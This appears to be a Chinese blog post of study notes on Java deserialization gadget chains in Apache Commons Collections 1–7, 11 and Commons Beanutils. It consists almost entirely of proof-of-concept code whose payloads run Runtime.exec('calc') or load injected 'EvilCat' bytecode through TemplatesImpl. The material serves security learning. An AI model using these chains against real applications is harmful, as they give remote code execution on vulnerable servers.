Java 反序列化原理复现复习—— 基于 Common Collections
是一个鸽了很久的文章,趁着大四时间闲散,总想写点东西记录学习内容,但苦于懒所以一直难以提笔,希望此文能作为日后博客坚持更新维护的一个起点。
基于 B 站白日梦组长 Java 反序列化视频讲解与 Drun1baby 学习记录。
CC 路线:1>6>3>4>2>5>7>cb
Common Collections 1
环境要求 jdk8u65
Common-Collections 3.2.1
当超出 8u65 时对 TemplatesImpl
与 defineTransletClasses
进行修复。
Base on LazyMapImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package src;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.*;
public class CC1_LazyMapImpl { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); InvocationHandler innovationHandlerInstance = (InvocationHandler)annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map proxyInstance = (Map) Proxy.newProxyInstance( lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), innovationHandlerInstance);
Object mapProxyInstance = annotationInvocationdhdlConstructor.newInstance(Override.class, proxyInstance);
serializeImpl.serialize(mapProxyInstance); serializeImpl.unserialize("ser.bin"); } }
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package src;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.*;
public class CC1_TransformerMapImpl { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer( "invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "aaa"); Map<Object, Object> transformerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, transformerMap);
serializeImpl.serialize(o);
} }
|

Common Collections 2
环境要求 jdk8u65
Common-Collections 3.2.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name"); _nameFiled.setAccessible(true); _nameFiled.set(templates, "test");
Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactoryFiled.setAccessible(true); _tfactoryFiled.set(templates, new TransformerFactoryImpl());
Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodesFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class")); byte[][] shellCode = {bytes};
_bytecodesFiled.set(templates, shellCode);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<> (new ConstantTransformer<>(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
Field transformerFiled = TransformingComparator.class.getDeclaredField("transformer"); transformerFiled.setAccessible(true); transformerFiled.set(transformingComparator, invokerTransformer);
serializeImpl.unserialize("ser.bin"); } }
|

Common Collections 3
环境要求 jdk8u65
Common-Collections 3.2.1
基于动态类加载 ClassLoader#defineClass

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package src;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name"); _nameFiled.setAccessible(true); _nameFiled.set(templates, "test");
Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactoryFiled.setAccessible(true); _tfactoryFiled.set(templates, new TransformerFactoryImpl());
Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodesFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get( "G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class")); byte[][] shellCode = {bytes};
_bytecodesFiled.set(templates, shellCode);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null), };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap<Object, Object> objectHashMap = new HashMap<>(); objectHashMap.put(tiedMapEntry, "aaa");
lazyMap.remove("test");
Class c = LazyMap.class; Field declaredFactoryField = c.getDeclaredField("factory"); declaredFactoryField.setAccessible(true); declaredFactoryField.set(lazyMap, chainedTransformer);
serializeImpl.unserialize("ser.bin"); } }
|
前半段入口点的 readObject
调用 InvokeTransformer
的过程与 Common Collections 1
与 Common Collections 6
相同。

Base on TrAXFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class CC3_TrAXFilterImpl { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name"); _nameFiled.setAccessible(true); _nameFiled.set(templates, "test");
Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactoryFiled.setAccessible(true); _tfactoryFiled.set(templates, new TransformerFactoryImpl());
Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodesFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes( Paths.get( "G:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class" ) ); byte[][] shellCode = {bytes};
_bytecodesFiled.set(templates, shellCode);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}), };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMap);
Map proxyInstance = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler);
Object o = declaredConstructor.newInstance(Override.class, proxyInstance);
serializeImpl.unserialize("ser.bin"); } }
|

Common Collections 4
基于 Common Collections4
,在 4.0 版本中 TransformingComparator
类继承了 Serializable
接口从而导致可以进行利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl();
Field _nameFiled = TemplatesImpl.class.getDeclaredField("_name"); _nameFiled.setAccessible(true); _nameFiled.set(templates, "test");
Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactoryFiled.setAccessible(true); _tfactoryFiled.set(templates, new TransformerFactoryImpl());
Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodesFiled.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("H:\\Java\\反序列化\\CommonCollectionChain\\CC\\CC1\\target\\classes\\src\\exp.class")); byte[][] shellCode = {bytes};
_bytecodesFiled.set(templates, shellCode);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null), };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<> (new ConstantTransformer<>(1));
Field transformerFiled = TransformingComparator.class.getDeclaredField("transformer"); transformerFiled.setAccessible(true); transformerFiled.set(transformingComparator, chainedTransformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
serializeImpl.unserialize("ser.bin"); } }
|

Common Collections 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package src;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer( "invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val"); valFiled.setAccessible(true); valFiled.set(badAttributeValueExpException, tiedMapEntry);
serializeImpl.unserialize("ser.bin"); } }
|

Common Collections 6
不要求 jdk 版本限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package src;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer( "invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap<Object, Object> objectHashMap = new HashMap<>(); objectHashMap.put(tiedMapEntry, "aaa");
lazyMap.remove("test");
Class c = LazyMap.class; Field declaredFactoryField = c.getDeclaredField("factory"); declaredFactoryField.setAccessible(true); declaredFactoryField.set(lazyMap, chainedTransformer);
serializeImpl.serialize(objectHashMap);
} }
|

Common Collections 7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package src;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer( "invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>();
Map<Object, Object> decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); Map<Object, Object> decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap1.put("yy", 1); decorateMap2.put("zZ", 2);
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 2);
Field iTransformerFiled = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformerFiled.setAccessible(true); iTransformerFiled.set(chainedTransformer, transformers);
decorateMap2.remove('b');
serializeImpl.unserialize("ser.bin"); } }
|
Common Collections 11
CommonsCollections 3.1-3.2.1
JDK 无限制
Refer: https://wjlshare.com/archives/1536
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet;
@SuppressWarnings("all") public class CC11 { public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer");
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11")); outputStream.writeObject(hashset); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } }
}
|
Common Collections Beanutils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package src;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes};
Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "test");
Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactoryFiled.setAccessible(true); _tfactoryFiled.set(templates, new TransformerFactoryImpl());
Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodesFiled.setAccessible(true);
_bytecodesFiled.set(templates, targetByteCodes);
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties"); TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue<Object> objectPriorityQueue = new PriorityQueue<Object>(transformingComparator);
objectPriorityQueue.add(templates); objectPriorityQueue.add(1);
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(objectPriorityQueue, objectBeanComparator);
serializeImpl.unserialize("ser.bin"); } }
|